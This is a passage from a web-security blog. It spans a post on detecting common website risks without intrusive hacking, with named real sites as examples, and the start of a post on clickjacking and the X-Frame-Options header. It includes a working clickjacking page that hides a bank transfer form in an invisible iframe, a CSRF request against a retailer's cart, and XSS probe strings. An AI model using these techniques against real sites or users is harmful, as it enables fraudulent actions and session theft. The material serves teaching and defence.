The thing about HTTP is that it’s stateless which means that each request is a new connection totally independent of previous requests. To maintain state (i.e. some knowledge about the user and their previous activities on the site), we most commonly use cookies and one of the most common uses of cookies is that after logging on, we set what’s referred to as an “auth cookie”. The auth cookie is verification that the user has indeed successfully logged on.

Now, if an attacker can obtain that auth cookie then they can impersonate the victim simply be sending it in a request to the target site. I showed how this works in part 9 of the OWASP Top 10 for .NET developers where I very easily sniffed out an auth cookie from a public network and hijacked the session. Consequently, all authenticated requests must be made over an HTTPS connection. If you can load a page that displays personal information while authenticated and the address starts with http:// then that’s almost certainly wrong.

For example, take a look at Qantas:

Get your hands on that auth cookie and suddenly you’re viewing my travel history, booking flights on my behalf, buying stuff with my frequent flyer points and so on and so forth.

The fix is easy and twofold: Firstly, you obviously don’t want to be loading pages over HTTP which need to show personal info once you’ve logged in, that’s quite clear. The other thing is that those auth cookies need to be flagged as “secure”. I wrote about this in detail recently in the post titled C is for cookie, H is for hacker – understanding HTTP only and Secure cookies but in short, cookies have an attribute called “secure” which when set disallows the browser from sending them over an insecure connection. Here’s what Qantas’ cookies look like in Chrome’s developer tools after I've logged in:

No secure cookies! Some of them shouldn’t be because they relate to browsing habits outside of my authenticated session, but some of them definitely should be and that includes the multiple auth cookies that are passing my frequent flyer account number around.

4. Mixed mode HTTP and HTTPS

Continuing with the HTTPS theme, another improper implementation is when a page loaded securely over HTTPS then embeds content insecurely over HTTP. This was one of the many (many, many) things that Tesco got wrong as it means you present your users with a rather disconcerting message like this:

That’s pretty clear – “Don’t load”! Not particularly reassuring, but assuming you do load the page, here’s what you’ll see:

The usual assurance provided by the HTTPS scheme and the padlock has a great red cross through it. Nasty (particularly on a page designed to convince you of their security!)

What’s so bad about this? I mean the three HTTPS objectives I outlined earlier – assurance, integrity, privacy – still apply to the page, right? To the page itself as loaded over the wire, yes, but unfortunately things go downhill from there.

Here’s a scenario: a page is loaded over HTTPS which therefore means an eavesdropper cannot modify the contents. However, that page then embeds JavaScript which is loaded insecurely over HTTP which means that it can be intercepted and modified. So that’s just what an attacker does and the modification includes embedding JavaScript to siphon off credentials just like the Tunisian government did earlier. It’s that simple.

The easiest way to identify mixed mode is just to look for the browser warnings you see above. Different browsers will present the warning in different ways, for example in Internet Explorer:

You can also often see more information by clicking on the padlock icon, here’s Chrome (sorry Qantas, I’m calling you on bad security again!):

But that doesn’t tell you what was loaded insecurely. To do this, all we need to do is look at the requests made by the browser and the Developer Tools in Internet Explorer (just hit F12) are a great way of doing this. Here I’ve simply looked at the network requests made to load the Qantas website and identified the request that was sent over the HTTP scheme:

And there we have it; a single request designed to set a tracking cookie and now you’re being told the whole page can’t be trusted!

5. Cross Site Scripting (XSS)

This is the one area where some folks might argue a little exploring is no longer playing nice. However, assuming we’re talking about reflective XSS (the kind you only see when they payload is passed in via the request) and not persistent XSS (the kind you put in the database and gets served to everyone), I reckon, in my humble opinion, there’s no harm done assuming you don’t then go out and leverage it in an attack.

Moving on, you can observe reflective XSS when content such as HTML tags and JavaScript is able to be passed to a page (usually via query string or form post data) and rendered into the markup thus changing the way the page behaves. Take a page such as Billabong’s registration page:

Now let’s manipulate a few query string parameters and the page can be modified to include Bugs Bunny and Miranda Kerr:

Clearly this is pretty innocuous but it demonstrates that an attacker can modify the page behaviour if they can engineer a victim to click on a carefully crafted link to the site. That link may rewrite the page contents to something quite different, serve the victim malware or even steal their cookies and hijack their session. There are many, many ways that XSS can be used to do nasty things and the detection of the risk is very simple.

Usually it takes nothing more than wrapping untrusted data (remember, this is the stuff your users provide to the system), in an italics tag to confirm the presence of XSS. For example, if I search for “Earth-shattering <i>kaboom!</a>” on a website and it then says “You searched for Earth-shattering kaboom!”, we have a problem. Instead of correctly output encoding the angle brackets into < and > it has rendered them exactly as provided to the source code and thus changed the actual markup rather than the content.

It’s a similar (although arguably more prevalent) problem with untrusted data rendered to JavaScript. What you need to remember is that encoding differs from context to context; you can’t encode angle brackets like you would for HTML, instead they become %3Ci and %3E. Developers often make the mistake of doing this very manually (“if char is < then replace with %3Ci”) which inevitably leads to gaps in the encoding logic so testing a range of different characters often yields results where the obvious ones won’t.

6. Password reminders via email

Nothing of a sensitive nature goes into email, it’s that simple. You should never, ever receive an email like this:

There are a couple of reasons why and the first one is that email is simply not a secure transport mechanism. Whilst it’s possible to secure the connection to an outbound SMTP server using SSL (SMTPS), there’s a lot that happens downstream from there with no guarantee that transport layer encryption is present on each downstream node. Of course there are options like PGP Email but I’ve never seen this used in a password reminder from a website. Ever.

The other issue is that your mailbox is simply not a secure storage facility. Of course there are many different mail providers with many different implementations but the only safe assumption is not to store sensitive data in there. Websites that email credentials put users at risk not just on their own site, but also on other sites due to the (unfortunate but real) propensity for people to reuse passwords. We’ve seen password reuse exploited before through cases like the Gawker Acai berry tweets. It’s a real risk.

The only suitable way for a website to assist a user who has lost heir password is to provide a secure password reset feature. This means emailing a time-limited, single use token that allows a new password to be set on the account and a confirmation email sent to the user afterwards. That’s a pretty simple mechanism but there are still numerous sites doing the wrong thing and sending the original password in email.

7. Insecure password storage

The previous point around emailing passwords is only possible because passwords are not stored correctly to begin with. Let that just sink in a bit and allow me to repeat: if a website is even able to email you your password then they’re not satisfactorily protecting it. You’ve got three common ways of storing passwords:

In plain text
Encrypted
Hashed

The first point is pretty clear – there is no cryptography involved in the storage of the password. One little SQL injection risk let alone disclosure of the database and you’re toast – every password is immediately readable.

Encryption is at least some attempt at secure storage but as I’ve often said before, the problem with encryption is decryption. Once you’re talking encryption you’re talking key management and that’s not something we do well enough, often enough, particularly when it comes to websites (keys in config files, anyone?). What it usually means is multiple points of potential failure when a system is breached.

The most appropriate means of storing passwords is with a strong hashing algorithm. That doesn’t mean a single hit of MD5 or SHA1 (or any other SHA variant for that matter) and it also doesn’t mean just salting it before it’s hashed. I go into a lot more detail about this in Our password hashing has no clothes but in short, we’re often doing hashing wrong and what you really want is a computationally expensive algorithm designed for password cryptography.

Here’s why this is important:

This is an AMD Radeon 7970 consumer-level graphics card. You can buy it for a few hundred bucks and it can crack up to 7.5B hashes per second. Yes, that’s with a “B” so in other words 7,500,000,000. Crikey! Without delving into the nuances of cryptographic hashes here (the “no clothes” post above covers that), the point is that you have to choose the right hashing algorithm. Cracking is still possible, but what if we could bring that rate down by, say 99.99% then it poses a very different value proposition to an attacker.

In the context of this post though, there’s a very easy way to tell when a password hasn’t been stored as a hash – you can see it. That’s usually via the previous risk where it’s emailed to you but sometimes it’s also represented in the UI (more on that a little later). Another common way that poor password practices are disclosed is when an operator knows it, for example when you call up for support. Now identity verification is just fine and there are multiple ways to do that, but using the same credentials for web login and customer service verification is fraught with problems, not least of which is the fact that your personal credentials are visible to other humans whether that be by them looking at them in the system or people verbally providing them to operators.

You start to understand more about why this is a problem when you see stats like these:

When 58% of people are reusing credentials (and many studies will show far higher levels than that), the risk of sloppy password management by a website starts to have much greater reach than just their own site, they’re jeopardising customers’ other sites because rightly or wrongly, there’s a pretty good chance those credentials have been reused elsewhere.

8. Poor password entropy rules

Here is a very simple password fact: the longer it is and the more characters of different types it contains in the most random fashion possible, the better it is.

Conversely, the more constrained a password is whether that be by length or particular characters or even entire character sets, the more likely it is to be cracked if push comes to shove.

Consequently, this is bad:

But this is even worse:

These are examples taken from my 2011 post on the Who’s who of bad password practices – banks, airlines and more where an alarming number of websites were placing arbitrary constraints on passwords. A follow-up post found 3 major reasons why these constraints exist and frankly, they’re all pretty weak excuses.

We need to come back to why this is so important: in the last risk above about password storage I mentioned cracking 7.5B passwords per second with a consumer level graphics card. Now, imagine you bank with ING Direct using a 4 digit password, their database gets breached and the hashed accounts are leaked – the hash is now the only thing between the password being protected and an attacker gaining access to it and using it anywhere it’s still valid, either on the original site or places it’s been reused. An attacker can compute the entire key space of hashes in 1/750,000th of a second. Clearly ING felt this might be a risk so since this post they strengthened their password policy… all the way up to 6 digits, or in other words, 1/7,500th of a second. Your password is toast. But strength increases exponentially so the longer a password becomes and the more characters it contains, the stronger it gets. It’s that simple.

Constraints of any kind on password fields (short of perhaps just one on a very long length) are just not on – there’s simply no good reason for it today. In fact I also made the point a little while back that you should expressly allow XSS in your passwords – no sanitisation at all! The thing is that per the previous risk on storage, passwords should never be redisplayed in any context anyway so let customers go nuts.

9. Denial of service via password reset

Here’s one that you often see gotten wrong: password reset processes that immediately disable the old password. It looks like this:

Now that might not seem too bad, but the problem is that it poses a denial of service risk (there’s also that mixed mode HTTP / HTTPS warning we looked at earlier). Here’s an example: you know someone who uses the Aussie Farmers Direct website and you want to make life a bit hard on them so you reset their password and bingo – they can no longer log in. Now of course they can go and grab the new password from their inbox (or junk mail) and log themselves in again, but they’ll probably want to then change it which adds another layer of inconvenience. This sort of practice can be used as an attack, for example it can take someone out of the running just before the end of an auction so the impact can extend beyond the realm of just mere inconvenience.

The correct way to issue a password reset is to send a time-limited, single use token to the recipient. This gives only the legitimate owner the ability to change their password and it does so without breaking the earlier rule of emailing a password that can then be used beyond the reset process. You can read more about this and other aspects of password resets in Everything you ever wanted to know about building a secure password reset feature.

10. HTTP only cookies

People often don’t think a lot about cookies but those little bytes of information in the header have hidden depths. They can also be pretty damn important to the security of the website and thus need to be appropriately protected. For example, it’s usually cookies that are used to persist a user’s authenticated state across requests. If an attacker can get hold of that cookie then they can hijack the session or in other words, immediately take on the identity of the victim.

I wrote about this recently in C is for cookie, H is for hacker – understanding HTTP only and Secure cookies, the latter part of which we looked at in the third risk in this post. For now though, the important thing to understand is that cookies may have an attribute set that is referred to as “HTTP only” which you can easily view from any tools which can inspect cookies such as Internet Explorer’s developer tools:

Here’s the party trick that HTTP only cookies have: they can’t be read by JavaScript on the client. Keeping in mind that there are cases where you want JavaScript to be able to access cookies, in many situations it’s only the server that needs to access those cookies. For example, when you logon to a website it’s usually an auth cookie that’s returned by the server and then automatically sent back again with each new request. This is what enables the website to see that you’re still authenticated.

This is what also enables session hijacking; if an attacker can get that cookie then it’s all over red rover – they can now become you. A popular means of session hijacking is to leverage an exploit such as XSS to send the cookies to an attacker. For example, an attacker may socialise a link which causes JavaScript to be embedded in the page which accesses document.cookie and makes a request to a resource which they own whilst passing the cookies along in the query string.

When we look at the response after logging into a site which doesn’t properly protect cookies with the HTTP only flag – such as Aussie Farmers Direct (again) – we see something like this:

What we can see here is that the PHPSESSID cookie is not flagged as HTTP only. All it would take is one little XSS risk to be combined with this and things would start to get very ugly.

11. Internal error messages

I’ve written a bunch about disclosure of internal error messages in the past. For example, there was Kogan with their massive leakage last year:

This included everything from framework versions to code locations to database credentials. This was running on Django but I’ve written about equally bad practices in ASP.NET, such as the masses of exposed ELMAH logs that are easily discoverable via Google. There were 11,000 easily discoverable ELMAH logs exposing authentication cookies when I wrote about this early last year:

It’s, uh, kinda gotten a bit worse since then:

Of course the problem with internal error messages is that they can give an attacker a massive head start when it comes to compromising a vulnerable website. Naturally this will depend on the nature of the data exposed in the error, but in a case like those ELMAH auth cookies it makes session hijacking an absolute cinch. Other examples of exposed information can include anything up to and including connection strings to database servers that are publicly accessible. Ouch!

How you tackle this will differ by framework but the simple message that’s relevant across the stacks is this: keep internal errors internal! Configure your app to return generic error messages that don’t leak any info about how the app is put together. It’s not only more secure, it’s a whole lot more user friendly.

In terms of detection, there are enough times where an error message will just reveal itself during the organic use of the website. That was the case with Kogan above but you can often cause an internal error simply by a minor change to the request structure. For example, replacing “id=123” with “id=abc” and an exception is raised when the parameter is attempted to be converted to an integer without the appropriate error handling. Or simple appending an illegal character to a URL – an angle bracket will often cause an exception.

12. Path disclosure via robots.txt

Everybody know what robots.txt does? Here’s a quick recap: when search engines come knocking to discover what’s on a website so that it can be indexed and made easily searchable, in theory the search engine will look for a file named robots.txt in the root of the site. This file contains information which complies with the Robots Exclusion Standard and the idea is that it helps search engines with both what to index and what not to index.

The reason why the “what not to index” bit is important in the context of web security is that often developers will use the “Disallow” syntax to prohibit the search engine from making information on their site discoverable. For example, they may have some sensitive documents or administrative features they don’t want people stumbling across via carefully crafted Google searches (everyone is aware of Google Dorks, right?) so they politely ask the search engine not to crawl that particular piece of content.

The problem is that you end up with sites like GoGet and their robots.txt file which looks just like this:

User-agent: * 
Disallow: /administrator/
Disallow: /cache/
Disallow: /components/
Disallow: /editor/
Disallow: /help/
Disallow: /images/
Disallow: /includes/
Disallow: /language/
Disallow: /mambots/
Disallow: /media/
Disallow: /modules/
Disallow: /templates/
Disallow: /installation/
Disallow: /bookings/secret/

See the last one – “/bookings/secret/”? The problem, of course, is that just naming a path “secret” does not make it so! Now GoGet isn’t immediately disclosing anything of risk (although they might want to review the earlier point on insufficient use of TLS), but there are many examples where that isn’t the case.

The thing about robots.txt is that it very often gives an attacker a starting point. It’s one of the first things to look for when trying to understand how a site is put together and where features that are intended to be private might exist. But most importantly, a disallow declaration in the robots.txt is never a substitute for robust access controls. Regardless of how much obfuscation you throw at a path, you absolutely, positively need to implement access controls and work on the assumption that all URLs are public URLs.

13. Sensitive data leakage via HTML source

Everyone knows how to view the HTML source of a page, right? It’s always a variation of the classic right-click –> view source or for the keyboard ninjas, CTRL-U in browsers such as Chrome and Firefox. But of course that’s not the only way to view source, you can always proxy the traffic through tools like Fiddler or Charles and inspect the page contents at that point. The point is that HTML source, for all intents and purposes, is readily viewable and not the place to store any sensitive data. Yet we have examples such as MyDish.co.uk doing this in the browser:

Which is driven by this in the source:

Now this is clearly just crazy stuff – there’s absolutely no reason to pre-populate this field and of course just the fact they can also means that they’re not storing the password correctly as a secure hash to begin with. Whilst this risk only discloses your own password, if an attacker could hijack the session then they could easily grab it from the HTML source (and then leverage everywhere it’s been reused on other sites).

This is a rather extreme example but I’ve seen many, many others which expose data they shouldn’t in the source. Just viewing the source code of various pages in a site can disclose a huge amount of information about how it’s put together and often disclose risks in the design. On many occasions now I’ve seen comments in the source which disclose varying levels of information about the internal implementation of the source. In fact commenting of code itself can be very revealing, particularly if it points to paths that may not be properly secured or contain their own vulnerabilities.

Another angle is the nature of the information disclosed through source in the legitimate function of the website. On occasion I’ve seen SQL statements in hidden fields which not only discloses the structure of the database but also opens the site up to parameter tampering and potentially SQL injection. Speaking of which…

14. Parameter tampering

Here’s an interesting one – when you search Action Recruitment for jobs you’ll notice a URL a little like this:

http://www.actionrecruitment.ie/search.html?module=next_results&basic_query=SELECT%20*%20,%20'1'%20AS%20Score%20FROM%20posting%20WHERE%20%20%20%20(%20CategoryID%20LIKE%20'%')%20%20%20ORDER%20BY%20Title%20&start=10

Can anyone see the problem with that? Let me break out the important bit and remove the URL encoding:

SELECT * , '1' AS Score FROM posting WHERE    ( CategoryID LIKE '%')   ORDER BY Title

That’s right, you’re looking at SQL statements embedded in the query string. For the sake of posterity should the site design change in the future, here’s what that page looks like right now:

The problem here is that should this site indeed just take the query string parameter and execute it as an entire SQL statement, well, it actually poses two problems. The first is that tampering can produce results outside the intended function of the app. This could be minor – such as returning more records – or more significant such as returning someone else’s records. The second issue is that it could be at risk of SQL injection if manipulating the parameter changes the structure or behaviour of the database query itself. This is where things become a lot less grey and a lot more black…

The intention of this post is to draw attention to detecting risks which don’t step into the realm of what most reasonable people would deem “hacking”. Probing for SQL injection flaws very quickly descends into that realm and that’s not somewhere you want to go anywhere near on someone else’s site if you’re trying to play nice.

15. Clickjacking and the X-Frame-Options header

A few days ago I wrote about Clickjack attack – the hidden threat right in front of you and showed just how easily a clickjacking attack can be launched. In essence, this attack boils down to placing the target site in an iframe and whacking the opacity of it down to zero so that the site underneath that shows through. The underlying site is then structured to show tempting links which line up perfectly underneath the target site so whilst the victim thinks they’re clicking on a link on the hoax site, they’re actually clicking a hidden link on top of that which is served by the victim site above it.

Imagine this scenario:

This image shows the victim site sitting at 50% opacity (it would normally be at 0% therefore hidden), so you get a sense of how everything lines up. The impact of the clickjacking attack is commensurate with the action being performed by a simple click; it could range from a social media endorsement such as a “like” all the way through to performing a banking action.

The mitigation is simple to implement and also simple to observe, you just need to look for the response header. By example, here’s what you’ll see on ASafaWeb (my own site we’ll come back to shortly) using the Chrome developer tools:

As you’ll read in the post above, there are a few different possible values for this header, the main thing is that unless you’ve got a good reason to allow the site to be embedded in a frame absolutely anywhere, there should be an X-Frame-Options header returned along with each request. You can also check this with ASafaWeb, this test has been added to the software just this week.

16. Cross Site Request Forgery (CSRF)

In many ways HTTP is quite clever. For example, you can authenticate to a website and then in unison with the web browser it will happily send your auth cookie back to the website with each request automagically.

In other ways HTTP is rather foolish. For example, you can authenticate to a website and then in unison with the web browser it will happily send your auth cookie back to the website with each request automagically. Oh – even when you didn’t actually intend to make the request!

It’s that last bit that CSRF exploits. The risk here is that if an attacker can trick a victim’s browser into making a request to a website they’re already authenticated to and modify the parameters of the request to do the attacker’s bidding, we might have a bit of a problem. For example, if a banking website allows an authenticated user to make a request such as “/transfer/?amount=500&to_account=1234567890” and it actually impacts a change (such as transferring money), then we have a CSRF risk. That’s a very simplistic example and I do go into a lot more detail in part 5 of the OWASP Top 10.

Let me give you a real world example. When you’re logged in to Toys R Us, if you make a POST request like this:

http://www.toysrus.com.au/scripts/additemtoorder.asp

And you send the following form data:

productid: 1675220
quantity: 1
injectorder: true

You will add one of these to your cart:

Now of course there is nothing wrong with a Lego Star Wars X-wing model, assuming you actually wanted one! The problem is that all an attacker needs to do is trick your browser into reproducing the same request pattern – just the URL and form data – and you’ll have one of these in your cart. This execution of this can be extremely simple, for example, visit an attacker’s page where there are hidden form fields reconstructing those three pieces of data I showed earlier on and set the action to the URL which adds the item to the cart. Now give them a big “Win free stuff” button (which is how the attacker lured them in to begin with) and badaboom – they’ll submit the request along with their authentication cookie to the Toys R Us website and have a shiny new Leo model in their cart! The attacker might even target a hidden frame so that the victim can’t see the response from the Toys R US server.

That’s a very simplistic example in a low-risk scenario. There are more complex executions and obviously more risky scenarios and they’re possible because the CSRF attack is able to reproduce the appropriately structured HTTP request which, of course, also sends off the authenticated user’s cookies because that’s just how HTTP works.

The mitigation is detailed in the post I mentioned earlier and it’s all about using an anti-forgery token in the form with a corresponding cookie. If both of these values don’t reconcile when the request is made then it’s considered to be forged. This works because an attacker cannot simply recreate the correct form data without grabbing the token from the website which is unique to the user. The anti-forgery cookie will be sent automatically – that’s fine – but its mate from the form won’t be.

What’s important in the context of this post though is what a secure request should look like. Here’s what happens when I logon to ASafaWeb and there are two important bits of info I’ve highlighted:

This is the anti-forgery token in both a cookie then further down in the hidden field. This is the way ASP.NET names them, other web platforms may show slightly different names but the point is that the token exists and without it, the request fails. This should be in every location where an inadvertent request could have an adverse impact for the user. If you don’t see it – like on Toys R Us – then a CSRF risk is almost certainly present.

Scorecarding websites with ASafaWeb

There’s a lot to remember when securing websites and indeed what’s listed above only even scrapes the surface. However it’s a good starting point and these are all risks that have many precedents of being exploited for an attacker’s gain. They’re also all risks that as I stated from the outset, can be remotely detected without stepping into the evil hacker realm. You can be responsible in detecting these risks.

I often see tweets like this:

Clearly this is somewhat of a rhetorical question as it’s very unlikely the culprit is aware of the risk. Moving on, rather than just having people point website owners to a lengthy post covering multiple issues as is the case above, I wanted to provide something more succinct that talks about specific risks then provide further reading from there. Given the sort of risks I’ve outlined throughout this post, I wanted to provide an easy mechanism for assessing, recording and sharing them so here it is – the ASafaWeb Scorecard:

This is very simple mechanism and it works like this: first you enter the URL of the site you’re assessing. Next, for each of the 16 risks outlined above there’s an entry on the ASafaWeb Scorecard along with “Pass” and “Fail” buttons. You then go through and self-assess the site, clicking the appropriate button as you go (you can click the same button again to de-select the risk).

This is not a dynamic analysis tool like the ASafaWeb scanner is and that’s simply because for the most part you need to be a human to detect these issues. For example, you actually need to do a password reset and assess the resulting email in order to discover that it’s not being stored satisfactorily.

As you complete the assessment you’ll see the results appear in a hash in the URL. What this means is that a completed assessment has a URL something like this:

https://asafaweb.com/Scorecard#url=notasafaweb.apphb.com&LackOfTls=Fail&InsecureLogin=Fail&SecureCookies=Fail&MixedModeHttps=Pass&Xss=Fail&PasswordReminders=Pass&PasswordStorage=Pass&PasswordRules=Pass&PasswordDos=Pass&HttpOnly=Pass&InternalErrors=Fail&RobotsTxt=Pass&HtmlSource=Pass&ParameterTampering=Pass&Clickjacking=Fail&Csrf=Fail

When the URL is received by someone and they open it up, the Scorecard appears with a little summary and the risks in read only mode so that they can’t be directly edited again:

Mind you, it’s easy just to change the URL and as a result the Scorecard values, but this isn’t intended to be a tamperproof rather it’s a means of sharing information via URL alone. When the Scorecard is opened up it won’t show any risks that haven’t been given a pass or a fail grade so you can elect exactly what data you want to share. Only want to raise one risk – fine, just select that. Only want to alert someone to failing risks – likewise, just send those. You choose.

There are two reasons I’ve done this and by far the most important is that I don’t want to be building up a repository of vulnerable sites! By persisting the risk in the URL parameter the address contains all the information that’s required to understand what’s going on. Secondly, because that URL is so self-contained it’s easy to pick up and send to someone so it’s very transportable.

Ultimately that’s the goal – to create a mechanism to easily report on risks and share them around. I’d love to see this tool being used in place of trying to explain risks via Twitter and engaging in the banter that often ensues in an attempt to try and explain things in only 140 characters a shot. It would be great if this gains some traction and I’d love feedback on the effectiveness of it, including if there are further risks that should be included in an attempt to encourage people to seek them out.

And that brings us back to where this post started out – hacking yourself first. Using the Scorecard above, the chances of you finding at least one risk in your own site is very high and if you can do that and mitigate it before someone exploits it then that’s a very good thing indeed. And likewise, if you do find issues in someone else’s site, the risks above should keep you out of trouble if you detect and report on them responsibly. Hopefully the Scorecard feature helps this process and makes the web, well, ASafa place!

More hacking yourself

The risks outlined above are ones I tend to use as a starting point either to assess sites I’m involved in building or to get a sense of the relative security position of someone else’s site. They’re not exhaustive though and as I said at the outset, there are other risks such as SQL injection which are serious, prevalent and will very likely cause damage if probed a little further.

A good resource for further probing is the OWASP Testing Guide. This will take you through hundreds of pages of steps that go into a lot more detail than what this blog post alone covers. If you want to get really in depth then there’s my recent Pluralsight video training which gets right down into the guts of how these risks are exploited and mitigated across just over eight hours of material.

Clickjack attack – the hidden threat right in front of you

2013-05-13T19:36:00.001+10:00

XSS protection: check!

No SQL injection: check!

Proper use of HTTPS: check!

Clickjacking defences: uh, click what now?!

This is one of those risks which doesn’t tend to get a lot of coverage but it can be a malicious little bugger when exploited by an attacker. Originally described by Jeremiah Grossman of WhiteHat Security fame back in 2008, a clickjacking attack relies on creating a veneer of authenticity under which lies a more sinister objective.

Imagine you visit a website and see the following:

Free stuff is always good so you click on the big button and WAMMO! You’ve just been clickjacked. You see, whilst you think you just clicked a “WIN” link, in reality you just clicked this instead:

This, of course, is your bank. You are logged in and your bank provides a handy option to transfer all your money with a single click. But of course you don’t know you you’ve just given Mr Dotcom all your money because you never even saw the link. This is a very simple example of a clickjacking attack, let’s take a look at the mechanism underneath and then talk about defences.

Sleight of hand and other tricks

This is a little like a magician’s sleight of hand trick; your focus is on one particular area of interest (winning free goodies) and whilst you’re distracted by this, the real “magic” is happening just out of view. This all make a lot more sense when we toggle some opacities on the page, take a look at it again now:

What you can see now is the bank’s page sitting in an iframe on top of the iPad page, it simply has the opacity set at 50%. Earlier on it was set to 0% which effectively meant it was hidden but still active.

Here’s another neat way to view this courtesy of Firefox’s 3D view:

You can see the content that’s actually visible in the attack (such as the “Hey – we’re giving away…” text) sitting several layers deep and the highlighted turquoise box is actually the “WIN” text. The banking site is sitting on top of this which is why you can see several layers on top of it and the “WIN” text ultimately showing through them because of their opacity.

Here’s the key to a clickjacking attack: the target content is hidden and the attacker’s content sits over the top and effectively tricks the victim into clicking links they don’t know they’re clicking. Here’s what the markup of the attacker’s page looks like:

<div style="position: absolute; left: 10px; top: 10px;">Hey - we're giving away iPad minis!!! Just click the WIN button and it's yours!!!</div>
<div style="position: absolute; left: 200px; top: 50px;">
  <img src="http://images.apple.com/my/ipad-mini/overview/images/hero.jpg" width="250">
</div>
<div style="position: absolute; left: 10px; top: 101px; color: red; font-weight: bold;">>> WIN <<</div>
<iframe style="opacity: 0;" height="545" width="680" scrolling="no" src="http://mybank/Transfer.aspx"></iframe>

How easy is that?! Whack the target content in an iframe, hide it then position some rogue links underneath the ones you actually want them to click. Job done.

When we look at the request that was made by clicking on the “WIN” link (which of course was actually the “Donate” link), we see the following in Chrome’s developer tools:

The two important highlighted areas here show the donate resource being requested and an auth cookie being passed with the request. Remember the significance of this – it persists your logged in state which means that for all intents and purposes, this is an authenticated requests from a logged in user, it’s just that they didn’t really intend to issue it. Now of course for something like a banking website or any other use case that takes advantage of an authenticated state, the user actually needs to be logged in. In that regard it’s a little like a cross site request forgery attack. There’s also a bit of broken authentication and session management going on insofar as also like CSRF, this is one of those cases where expiring sessions quickly is a great defence albeit at the expense of usability.

So that’s the execution of it, let’s take a look at the mitigations.

Frame busters (and frame buster busters)

The issue here is that the target site has been loaded up within an iframe. One way to address this is via a little JavaScript in the banking website which works as follows:

if (top.location != location) {
  top.location = self.location;
}

Simple – if the page isn’t the URL in the address bar (and remember, this is our hypothetical banking site), then redirect the top location of the browser to this page so that it and it alone is loaded into the browser. In other words, the target page is literally “busting” out of the frame and taking over the entire browser window hence freeing itself of the malicious site. Job done? Not quite.

For every frame buster there is a frame buster buster. In a classic example of the arms race that is builders versus breakers, there are numerous ways this model can be circumvented. There’s a fantastic paper from a few years ago titled Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites that talks about this in detail but in short, frame buster busters use techniques such as:

Nesting the victim site in two frames as the double framing causes the descendent frame navigation policy to disable the redirection
Tapping into the onBeforeUnload event to cancel the redirection (albeit with some user input) when the frame buster attempts to unload the page
Exploiting XSS filters designed to prohibit cross site scripting in order to cancel out the frame buster

Implementations differ by browser and by version and it becomes somewhat of a quagmire of conditional logic and varying degrees of success, but the real point is that frame busting via JavaScript is very patchy. We need a better mousetrap.

X-Frame-Options

Frame busters are hacks. Nasty, messy hacks of limited efficiency. What we really need is a simpler, more semantic means of specifying how and where a page may be used when it comes to being embedded in a frame and that's what we have in the X-Frame-Options (XFO) header. This one actually came out of Microsoft back in early 2009 so it’s been around for a while although evidence would suggest it hasn’t been extensively adopted.

Firstly a bit of response headers 101. When an HTTP header is preceded with “X-“ then it’s not strictly part of the HTTP spec. Anyone can make up their own headers to pass info around outside of the response body. Fortunately it’s a little more organised than that with the browser vendors agreeing to recognise the header and place some limitations on how the browser handles the page as a result. There’s actually a draft IETF spec for the header so we may see more formality at some point in the future.

You’ve got 3 different values for your XFO headers and I’ll quote from that draft IETF spec as it does a good job of describing them:

   DENY
         A browser receiving content with this header MUST NOT display
         this content in any frame.

   SAMEORIGIN
         A browser receiving content with this header MUST NOT display
         this content in any frame from a page of different origin than
         the content itself.
         If a browser or plugin can not reliably determine whether the
         origin of the content and the frame have the same origin, this
         MUST be treated as "DENY".
         [TBD]current implementations do not display if the origin of
         the top-level-browsing-context is different than the origin of
         the page containing the X-FRAME-OPTIONS header.

   ALLOW-FROM (followed by a URI of trusted origins)
         A browser receiving content with this header MUST NOT display
         this content in any frame from a page of different origin than
         the listed origin. While this can expose the page to risks by
         the trusted origin, in some cases it may be necessary to use
         content from other domains.
         For example: X-FRAME-OPTIONS: ALLOW-FROM
         https://www.domain.com/

There is also the non-standard ALLOWALL value which does just what it sounds like it does – in theory. Apparently this value started getting served up by Google quite recently and got the browsers a little confused. Well more specifically, the browsers don’t recognise it as a valid value and consequently just ignored it which, of course, is exactly what the intention is and is the equivalent of having no XFO header at all. Except it isn’t really; when you see no header there are two possible options with the first being that the developer wants to allow the page to be embedded anywhere and the second that they never even thought to include it. My money is on the second option being by far and away the most prevalent situation and the ALLOWALL value is an explicit acknowledgement that a conscious decision has been made to allow embedding in frames. The intent is much clearer and far less implicit which IMHO is a good thing.

There is, however, some criticism of the XFO implementation as it stands. For example, it’s not possible to allow framing of content both from the same origin and from a trusted URI. In a similar vein, it’s also not possible to allow framing from multiple trusted URIs. Both of these are unfortunate shortcomings of the header as they’re very real scenarios. Allowing the browser to recognise multiple non-conflicting definitions of the header would be one approach but that doesn’t appear to be on the cards just now.

Moving on, XFO is all pretty simple and the browser support is very good with IE8 onwards implementing it as well as all the other major vendors for a number of versions now (Firefox 3.6, Safari 4, Chrome 4.1). What if a browser doesn’t implement it? Absolutely nothing, it will just carry on as usual and not put any constraints around the content being framed.

Assuming you don’t actually want a site embedded within other sites (which will usually be the case), just use it – it’s a few bytes of overhead to prevent a potentially rather malicious scenario. Ideally, you want to just deny access to browsers loading the page in a frame. If you really want to load your own pages into frames on the same site then you do the same origin trick or open it up further to another site with the “allow-from” syntax. Do be cautious though: things will break if you’re overzealous and inadvertently block content from loading into legitimate frames.

XFO in practice

Getting back to our original example, here’s what happens to that site once XFO denies embedding in a frame (I’ve left the opacity at 50%):

You see that? Of course you don’t, that’s the whole point! The banking site is no longer rendered in the browser, all you can see is the iframe border. Mind you, the banking site is still requested because after all, that’s the only way the browser can be instructed not to render it once it’s returned by the server. You can see this in Chrome’s network profiler:

Check the status of that last request to Transfer.aspx – it’s now “cancelled” which is kind of right. As I said earlier, the request is actually still made and indeed you can inspect the response headers:

Just to close the loop on things, there’s that XFO header. Job done!

Protecting your ASP.NET app with NWebsec

Adding response headers to most frameworks is a piece of cake, ASP.NET included. Normally I’d just go and create a custom HTTP module and be done with it but being a fan of taking community projects that already work well, it’s worth checking out NWebsec first. This little package was created by André Klingsheim who has done a number of clever security things over the years. As with all good .NET packages it can be easily grabbed from NuGet:

PM> Install-Package NWebsec

One of the things I like about NWebsec is that it’s a configuration-only install; there’s no recompile, just drop in the libraries and setup the web.config and you’re done. For some people, this is quite advantageous. The other neat thing is that it tackles a bunch of other security related headers as well. For example, I just dropped it into ASafaWeb and used it to both add an XFO header and replace my existing HSTS header code with just a web.config configuration. Speaking of ASafaWeb…

Detecting the clickjack risk with ASafaWeb

